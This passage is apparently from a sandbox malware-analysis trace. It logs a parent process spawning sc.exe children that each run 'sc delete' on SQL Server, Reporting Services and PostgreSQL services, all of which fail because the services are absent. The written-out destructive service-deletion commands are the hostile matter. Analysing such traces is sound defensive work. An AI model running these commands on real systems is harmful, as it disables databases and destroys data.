"3" os_parent_pid = "0x730" cmd_line = "sc delete \"MSSQL$OPTIMA\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 70 os_tid = 0x640 [0066.627] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xefb90 | out: lpSystemTimeAsFileTime=0xefb90*(dwLowDateTime=0xea217c90, dwHighDateTime=0x1d62701)) [0066.627] GetCurrentProcessId () returned 0x7c8 [0066.627] GetCurrentThreadId () returned 0x640 [0066.627] GetTickCount () returned 0x1147acb [0066.627] QueryPerformanceCounter (in: lpPerformanceCount=0xefb98 | out: lpPerformanceCount=0xefb98*=18682573225) returned 1 [0066.629] GetModuleHandleW (lpModuleName=0x0) returned 0xfff40000 [0066.629] __set_app_type (_Type=0x1) [0066.629] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfff47228) returned 0x0 [0066.629] __wgetmainargs (in: _Argc=0xfff4b604, _Argv=0xfff4b610, _Env=0xfff4b608, _DoWildCard=0, _StartInfo=0xfff4b050 | out: _Argc=0xfff4b604, _Argv=0xfff4b610, _Env=0xfff4b608) returned 0 [0066.630] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.633] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0066.633] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0066.633] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0066.633] _wcsicmp (_String1="delete", _String2="query") returned -13 [0066.633] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0066.633] _wcsicmp (_String1="delete", _String2="start") returned -15 [0066.633] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0066.633] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0066.633] _wcsicmp (_String1="delete", _String2="control") returned 1 [0066.633] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0066.633] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0066.633] _wcsicmp (_String1="delete", _String2="config") returned 1 [0066.633] _wcsicmp (_String1="delete", _String2="description") returned -7 [0066.633] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0066.633] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0066.633] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0066.633] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0066.633] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0066.633] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0066.634] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0066.634] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0066.634] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0066.634] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0066.634] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0066.634] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0066.634] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0066.634] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0066.634] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0066.634] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0066.634] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0066.634] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0066.634] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2f43d0 [0066.639] OpenServiceW (hSCManager=0x2f43d0, lpServiceName="MSSQL$OPTIMA", dwDesiredAccess=0x10000) returned 0x0 [0066.639] GetLastError () returned 0x424 [0066.639] _itow (in: _Dest=0x424, _Radix=981496 | out: _Dest=0x424) returned="1060" [0066.639] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xfff4b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0066.641] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xef9b0, nSize=0x2, Arguments=0xef9e0 | out: lpBuffer="趰/") returned 0x62 [0066.642] GetFileType (hFile=0x120) returned 0x3 [0066.642] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x2f8e90 [0066.642] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x2f8e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n/", lpUsedDefaultChar=0x0) returned 98 [0066.642] WriteFile (in: hFile=0x120, lpBuffer=0x2f8e90*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xef958, lpOverlapped=0x0 | out: lpBuffer=0x2f8e90*, lpNumberOfBytesWritten=0xef958*=0x62, lpOverlapped=0x0) returned 1 [0066.642] LocalFree (hMem=0x2f8e90) returned 0x0 [0066.642] LocalFree (hMem=0x2f8db0) returned 0x0 [0066.642] LocalFree (hMem=0x0) returned 0x0 [0066.642] CloseServiceHandle (hSCObject=0x2f43d0) returned 1 [0066.644] exit (_Code=1060) Thread: id = 71 os_tid = 0x7b0 Process: id = "36" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37d60000" os_pid = "0x518" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete \"SQLAgent$OPTIMA\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 72 os_tid = 0x364 [0066.701] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16f890 | out: lpSystemTimeAsFileTime=0x16f890*(dwLowDateTime=0xea2d6370, dwHighDateTime=0x1d62701)) [0066.701] GetCurrentProcessId () returned 0x518 [0066.701] GetCurrentThreadId () returned 0x364 [0066.701] GetTickCount () returned 0x1147b19 [0066.701] QueryPerformanceCounter (in: lpPerformanceCount=0x16f898 | out: lpPerformanceCount=0x16f898*=18689984933) returned 1 [0066.703] GetModuleHandleW (lpModuleName=0x0) returned 0xffbd0000 [0066.703] __set_app_type (_Type=0x1) [0066.703] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffbd7228) returned 0x0 [0066.703] __wgetmainargs (in: _Argc=0xffbdb604, _Argv=0xffbdb610, _Env=0xffbdb608, _DoWildCard=0, _StartInfo=0xffbdb050 | out: _Argc=0xffbdb604, _Argv=0xffbdb610, _Env=0xffbdb608) returned 0 [0066.704] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.706] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0066.706] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0066.706] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0066.706] _wcsicmp (_String1="delete", _String2="query") returned -13 [0066.706] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0066.706] _wcsicmp (_String1="delete", _String2="start") returned -15 [0066.706] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0066.706] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0066.706] _wcsicmp (_String1="delete", _String2="control") returned 1 [0066.706] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0066.706] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0066.706] _wcsicmp (_String1="delete", _String2="config") returned 1 [0066.706] _wcsicmp (_String1="delete", _String2="description") returned -7 [0066.706] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0066.706] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0066.707] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0066.707] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0066.707] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0066.707] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0066.707] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0066.707] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0066.707] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0066.707] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0066.707] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0066.707] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0066.707] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0066.707] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0066.707] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0066.707] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0066.707] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0066.707] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0066.707] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1e43e0 [0066.712] OpenServiceW (hSCManager=0x1e43e0, lpServiceName="SQLAgent$OPTIMA", dwDesiredAccess=0x10000) returned 0x0 [0066.712] GetLastError () returned 0x424 [0066.712] _itow (in: _Dest=0x424, _Radix=1505016 | out: _Dest=0x424) returned="1060" [0066.712] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffbdb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0066.715] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x16f6b0, nSize=0x2, Arguments=0x16f6e0 | out: lpBuffer="跀\x1e") returned 0x62 [0066.715] GetFileType (hFile=0x120) returned 0x3 [0066.715] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x1e8ea0 [0066.715] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x1e8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x1e", lpUsedDefaultChar=0x0) returned 98 [0066.715] WriteFile (in: hFile=0x120, lpBuffer=0x1e8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x16f658, lpOverlapped=0x0 | out: lpBuffer=0x1e8ea0*, lpNumberOfBytesWritten=0x16f658*=0x62, lpOverlapped=0x0) returned 1 [0066.715] LocalFree (hMem=0x1e8ea0) returned 0x0 [0066.715] LocalFree (hMem=0x1e8dc0) returned 0x0 [0066.715] LocalFree (hMem=0x0) returned 0x0 [0066.715] CloseServiceHandle (hSCObject=0x1e43e0) returned 1 [0066.718] exit (_Code=1060) Thread: id = 73 os_tid = 0x6dc Process: id = "37" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37665000" os_pid = "0x64" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete \"ReportServer$OPTIMA\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 74 os_tid = 0x57c [0066.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22fbb0 | out: lpSystemTimeAsFileTime=0x22fbb0*(dwLowDateTime=0xea36e8f0, dwHighDateTime=0x1d62701)) [0066.773] GetCurrentProcessId () returned 0x64 [0066.773] GetCurrentThreadId () returned 0x57c [0066.773] GetTickCount () returned 0x1147b58 [0066.773] QueryPerformanceCounter (in: lpPerformanceCount=0x22fbb8 | out: lpPerformanceCount=0x22fbb8*=18697143610) returned 1 [0066.774] GetModuleHandleW (lpModuleName=0x0) returned 0xffea0000 [0066.774] __set_app_type (_Type=0x1) [0066.774] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffea7228) returned 0x0 [0066.774] __wgetmainargs (in: _Argc=0xffeab604, _Argv=0xffeab610, _Env=0xffeab608, _DoWildCard=0, _StartInfo=0xffeab050 | out: _Argc=0xffeab604, _Argv=0xffeab610, _Env=0xffeab608) returned 0 [0066.775] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.777] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0066.777] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0066.777] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0066.777] _wcsicmp (_String1="delete", _String2="query") returned -13 [0066.777] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0066.777] _wcsicmp (_String1="delete", _String2="start") returned -15 [0066.777] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0066.777] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0066.777] _wcsicmp (_String1="delete", _String2="control") returned 1 [0066.777] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0066.777] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0066.777] _wcsicmp (_String1="delete", _String2="config") returned 1 [0066.777] _wcsicmp (_String1="delete", _String2="description") returned -7 [0066.777] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0066.777] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0066.777] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0066.777] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0066.777] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0066.777] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0066.777] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0066.777] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0066.777] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0066.777] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0066.777] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0066.777] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0066.778] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0066.778] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0066.778] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0066.778] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0066.778] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0066.778] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0066.778] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3743f0 [0066.781] OpenServiceW (hSCManager=0x3743f0, lpServiceName="ReportServer$OPTIMA", dwDesiredAccess=0x10000) returned 0x0 [0066.781] GetLastError () returned 0x424 [0066.782] _itow (in: _Dest=0x424, _Radix=2292248 | out: _Dest=0x424) returned="1060" [0066.782] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffeab740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0066.783] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x22f9d0, nSize=0x2, Arguments=0x22fa00 | out: lpBuffer="跐7") returned 0x62 [0066.783] GetFileType (hFile=0x120) returned 0x3 [0066.784] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x378eb0 [0066.784] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x378eb0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n7", lpUsedDefaultChar=0x0) returned 98 [0066.784] WriteFile (in: hFile=0x120, lpBuffer=0x378eb0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x22f978, lpOverlapped=0x0 | out: lpBuffer=0x378eb0*, lpNumberOfBytesWritten=0x22f978*=0x62, lpOverlapped=0x0) returned 1 [0066.784] LocalFree (hMem=0x378eb0) returned 0x0 [0066.784] LocalFree (hMem=0x378dd0) returned 0x0 [0066.784] LocalFree (hMem=0x0) returned 0x0 [0066.784] CloseServiceHandle (hSCObject=0x3743f0) returned 1 [0066.785] exit (_Code=1060) Thread: id = 75 os_tid = 0x570 Process: id = "38" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3646a000" os_pid = "0xa3c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete \"msftesql$SQLEXPRESS\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 76 os_tid = 0x828 [0066.832] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28f850 | out: lpSystemTimeAsFileTime=0x28f850*(dwLowDateTime=0xea406e70, dwHighDateTime=0x1d62701)) [0066.832] GetCurrentProcessId () returned 0xa3c [0066.832] GetCurrentThreadId () returned 0x828 [0066.832] GetTickCount () returned 0x1147b96 [0066.832] QueryPerformanceCounter (in: lpPerformanceCount=0x28f858 | out: lpPerformanceCount=0x28f858*=18703045402) returned 1 [0066.833] GetModuleHandleW (lpModuleName=0x0) returned 0xffeb0000 [0066.833] __set_app_type (_Type=0x1) [0066.833] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffeb7228) returned 0x0 [0066.833] __wgetmainargs (in: _Argc=0xffebb604, _Argv=0xffebb610, _Env=0xffebb608, _DoWildCard=0, _StartInfo=0xffebb050 | out: _Argc=0xffebb604, _Argv=0xffebb610, _Env=0xffebb608) returned 0 [0066.834] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.836] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0066.836] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0066.836] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0066.836] _wcsicmp (_String1="delete", _String2="query") returned -13 [0066.836] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0066.836] _wcsicmp (_String1="delete", _String2="start") returned -15 [0066.837] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0066.837] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0066.837] _wcsicmp (_String1="delete", _String2="control") returned 1 [0066.837] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0066.837] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0066.837] _wcsicmp (_String1="delete", _String2="config") returned 1 [0066.837] _wcsicmp (_String1="delete", _String2="description") returned -7 [0066.837] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0066.837] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0066.837] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0066.837] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0066.837] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0066.837] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0066.837] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0066.837] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0066.837] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0066.837] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0066.837] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0066.837] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0066.837] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0066.837] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0066.837] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0066.837] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0066.837] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0066.837] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0066.837] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x4143f0 [0066.855] OpenServiceW (hSCManager=0x4143f0, lpServiceName="msftesql$SQLEXPRESS", dwDesiredAccess=0x10000) returned 0x0 [0066.856] GetLastError () returned 0x424 [0066.856] _itow (in: _Dest=0x424, _Radix=2684600 | out: _Dest=0x424) returned="1060" [0066.856] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffebb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0066.857] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x28f670, nSize=0x2, Arguments=0x28f6a0 | out: lpBuffer="跐A") returned 0x62 [0066.858] GetFileType (hFile=0x120) returned 0x3 [0066.858] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x418eb0 [0066.858] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x418eb0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\nA", lpUsedDefaultChar=0x0) returned 98 [0066.858] WriteFile (in: hFile=0x120, lpBuffer=0x418eb0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x28f618, lpOverlapped=0x0 | out: lpBuffer=0x418eb0*, lpNumberOfBytesWritten=0x28f618*=0x62, lpOverlapped=0x0) returned 1 [0066.858] LocalFree (hMem=0x418eb0) returned 0x0 [0066.858] LocalFree (hMem=0x418dd0) returned 0x0 [0066.858] LocalFree (hMem=0x0) returned 0x0 [0066.858] CloseServiceHandle (hSCObject=0x4143f0) returned 1 [0066.860] exit (_Code=1060) Thread: id = 77 os_tid = 0xa6c Process: id = "39" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x37d6f000" os_pid = "0x270" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete \"postgresql-x64-9.4\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 78 os_tid = 0x344 [0066.911] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16f830 | out: lpSystemTimeAsFileTime=0x16f830*(dwLowDateTime=0xea4c5550, dwHighDateTime=0x1d62701)) [0066.911] GetCurrentProcessId () returned 0x270 [0066.911] GetCurrentThreadId () returned 0x344 [0066.911] GetTickCount () returned 0x1147be4 [0066.911] QueryPerformanceCounter (in: lpPerformanceCount=0x16f838 | out: lpPerformanceCount=0x16f838*=18710959036) returned 1 [0066.912] GetModuleHandleW (lpModuleName=0x0) returned 0xff910000 [0066.912] __set_app_type (_Type=0x1) [0066.912] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff917228) returned 0x0 [0066.912] __wgetmainargs (in: _Argc=0xff91b604, _Argv=0xff91b610, _Env=0xff91b608, _DoWildCard=0, _StartInfo=0xff91b050 | out: _Argc=0xff91b604, _Argv=0xff91b610, _Env=0xff91b608) returned 0 [0066.913] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.915] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0066.915] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0066.915] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0066.916] _wcsicmp (_String1="delete", _String2="query") returned -13 [0066.916] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0066.916] _wcsicmp (_String1="delete", _String2="start") returned -15 [0066.916] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0066.916] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0066.916] _wcsicmp (_String1="delete", _String2="control") returned 1 [0066.916] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0066.916] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0066.916] _wcsicmp (_String1="delete", _String2="config") returned 1 [0066.916] _wcsicmp (_String1="delete", _String2="description") returned -7 [0066.916] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0066.916] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0066.916] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0066.916] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0066.916] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0066.916] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0066.916] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0066.916] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0066.916] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0066.916] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0066.916] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0066.916] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0066.916] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0066.916] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0066.916] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0066.916] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0066.916] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0066.917] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0066.917] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x3443e0 [0066.921] OpenServiceW (hSCManager=0x3443e0, lpServiceName="postgresql-x64-9.4", dwDesiredAccess=0x10000) returned 0x0 [0066.921] GetLastError () returned 0x424 [0066.921] _itow (in: _Dest=0x424, _Radix=1504920 | out: _Dest=0x424) returned="1060" [0066.921] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff91b740, nSize=0x400, Arguments=0x0 | out: 